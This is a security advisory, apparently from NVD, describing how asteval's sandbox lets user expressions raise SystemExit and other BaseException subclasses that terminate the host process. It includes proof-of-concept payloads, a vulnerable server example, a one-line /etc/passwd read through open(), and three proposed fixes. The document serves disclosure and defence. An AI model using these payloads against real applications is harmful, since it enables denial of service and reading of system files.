asteval has a Sandbox Escape via BaseException Subclasses

NVD Description

## Summary An attacker who can supply expressions to `asteval.Interpreter.eval()` can raise `SystemExit`, `KeyboardInterrupt`, `GeneratorExit`, or `BaseException` from inside the sandbox. These exceptions are subclasses of `BaseException` but not `Exception`, so they bypass the `except Exception:` safety net in both `run()` and `eval()`. The exception propagates verbatim to the calling application, terminating the process or disrupting signal and cleanup handlers. This is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and GHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in all versions including 1.0.6 and current HEAD. --- ## Affected Code **`asteval/astutils.py`, lines 89–108** — `FROM_PY` exposes dangerous classes to sandbox users: ```python FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', # ← escapes except Exception: 'BufferError', 'BytesWarning', ... 'GeneratorExit', # ← escapes except Exception: ... 'KeyboardInterrupt', # ← escapes except Exception: ... 'SystemExit', # ← escapes except Exception: ...) ``` **`asteval/asteval.py`, line 322** — `run()` exception handler: ```python except Exception: # ← does NOT catch BaseException subclasses if with_raise and self.expr is not None: self.raise_exception(node, expr=self.expr) ``` **`asteval/asteval.py`, line 370** — `eval()` exception handler: ```python except Exception: # ← same gap if show_errors and not raise_errors: ... ``` **`asteval/asteval.py`, line 264** — `raise_exception()` raises the class directly: ```python raise exc(self.error_msg) # ← when exc=SystemExit, escapes both handlers above ``` --- ## Root Cause Python's exception hierarchy has two distinct branches under `BaseException`: ``` BaseException ├── SystemExit ← NOT caught by except Exception: ├── KeyboardInterrupt ← NOT caught by except Exception: ├── GeneratorExit ← NOT caught by except Exception: └── Exception ← caught normally ├── RuntimeError ├── ValueError └── ... ``` `FROM_PY` exposes all four non-`Exception` classes to sandbox users. When a user writes `raise SystemExit("msg")`, the `on_raise()` handler calls: ```python self.raise_exception(None, exc=out.__class__, msg=msg, expr='') ``` which executes `raise SystemExit(msg)`. This propagates through both `except Exception:` guards unchecked and surfaces in the calling application. --- ## Proof of Concept ```python from asteval import Interpreter # Variant 1: terminate the process aeval = Interpreter() try: aeval.eval('raise SystemExit("terminated by sandbox user")') except SystemExit as e: print(f"[CONFIRMED] SystemExit escaped: {e.code!r}") # Variant 2: disrupt signal/finally handling aeval = Interpreter() try: aeval.eval('raise KeyboardInterrupt("interrupt injected")') except KeyboardInterrupt as e: print(f"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}") # Variant 3: GeneratorExit aeval = Interpreter() try: aeval.eval('raise GeneratorExit("gen escape")') except GeneratorExit as e: print(f"[CONFIRMED] GeneratorExit escaped: {str(e)!r}") # Variant 4: BaseException base class aeval = Interpreter() try: aeval.eval('raise BaseException("base escape")') except BaseException as e: if not isinstance(e, Exception): print(f"[CONFIRMED] BaseException escaped: {str(e)!r}") ``` **Output (tested on asteval 1.0.6, Python 3.11/3.12):** ``` [CONFIRMED] SystemExit escaped: 'terminated by sandbox user' [CONFIRMED] KeyboardInterrupt escaped: 'interrupt injected' [CONFIRMED] GeneratorExit escaped: 'gen escape' [CONFIRMED] BaseException escaped: 'base escape' ``` ### Real-world server scenario ```python from asteval import Interpreter def handle_request(user_expression): aeval = Interpreter() return aeval.eval(user_expression) # SystemExit propagates here # Attacker sends: raise SystemExit(1) # Application terminates. Top-level except Exception: handlers do not protect it. try: handle_request('raise SystemExit(1)') except Exception: pass # <-- does NOT catch SystemExit; process exits ``` --- ## Impact | Variant | Impact | |---------|--------| | `SystemExit` | Process terminates; exit code and message attacker-controlled | | `KeyboardInterrupt` | Disrupts `finally` blocks, signal handlers, and `KeyboardInterrupt`-aware loops | | `GeneratorExit` | Disrupts generator cleanup in calling code | | `BaseException` | Generic escape, same propagation | Any application that: - Accepts user-supplied expressions via `asteval` - Relies on `except Exception:` at the top level (standard practice) - Does not wrap `aeval.eval()` in `except BaseException:` (non-standard, unexpected requirement) ...is vulnerable to attacker-triggered process termination (DoS). CVSS breakdown: Network-reachable (AV:N), no special conditions (AC:L), no credentials (PR:N), no interaction (UI:N), scope unchanged (S:U), no confidentiality/integrity impact (C:N/I:N), high availability impact — process termination (A:H). --- ## Additional Note: File Read Capability (Acknowledged Limitation) Independently of this vulnerability, `asteval` exposes a read-only `open()` wrapper (`_open` in `astutils.py`) that allows reading arbitrary files with the permissions of the calling process: ```python aeval.eval("open('/etc/passwd').read()") # returns /etc/passwd contents ``` This is documented in `doc/motivation.rst` as a known design choice ("If reading from disk must be forbidden, you will want to overwrite the `open()` function from the symbol table"). It is included here for completeness, not as a separate advisory claim. --- ## Recommended Fix **Option A — Remove dangerous classes from `FROM_PY` (minimal, preferred):** ```python # asteval/astutils.py FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError', # Remove: 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', # Remove: 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', # Remove: 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplementedError', 'OSError', 'OverflowError', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', # Remove: 'SystemExit', 'True', 'TypeError', ...) ``` **Option B — Block non-`Exception` raises in `on_raise()`:** ```python # asteval/asteval.py def on_raise(self, node): excnode = node.exc msgnode = node.cause out = self.run(excnode) # Prevent BaseException subclasses from escaping the sandbox if not issubclass(out.__class__, Exception): self.raise_exception(node, exc=RuntimeError, msg=f"raising {out.__class__.__name__!r} is not permitted") return msg = ' '.join(str(a) for a in out.args) msg2 = self.run(msgnode) if msg2 not in (None, 'None'): msg = f"{msg}: {msg2}" self.raise_exception(None, exc=out.__class__, msg=msg, expr='') ``` Note: Option B also fixes a secondary bug on the same line — `' '.join(out.args)` crashes with `TypeError` when args contain non-strings (e.g., `raise SystemExit(0)` with integer code). The fix uses `str(a) for a in out.args`. **Option C — Catch `BaseException` in `run()` and `eval()` (broadest, requires care):** ```python except BaseException as exc: if isinstance(exc, (SystemExit, KeyboardInterrupt, GeneratorExit)): # Re-raise as RuntimeError to contain within sandbox self.raise_exception(node, exc=RuntimeError, msg=f"{type(exc).__name__} raised in sandbox") elif with_raise and self.expr is not None: self.raise_exception(node, expr=self.expr) ``` Option A is the simplest and least likely to introduce regressions. Option B additionally addresses the `str.join` crash on integer args. --- ## Disclosure Timeline | Date | Event | |------|-------| | 2026-06-09 | Vulnerability discovered during code review | | 2026-06-09 | Report submitted via GitHub Security Advisory | | TBD | Maintainer acknowledgment | | TBD + 90 days | Public disclosure deadline | --- ## Researcher Independent security researcher. No bug bounty program exists for this project. CVE assignment requested via GitHub Security Advisory submission. --- ## References - Prior CVE: CVE-2025-24359 (format string injection, fixed 1.0.6) - Prior advisory: GHSA-vp47-9734-prjw (AST mutation TOCTOU, fixed 1.0.6) - Python exception hierarchy: https://docs.python.org/3/library/exceptions.html#exception-hierarchy - `asteval` documentation: https://lmfit.github.io/asteval/

Affected Packages (1)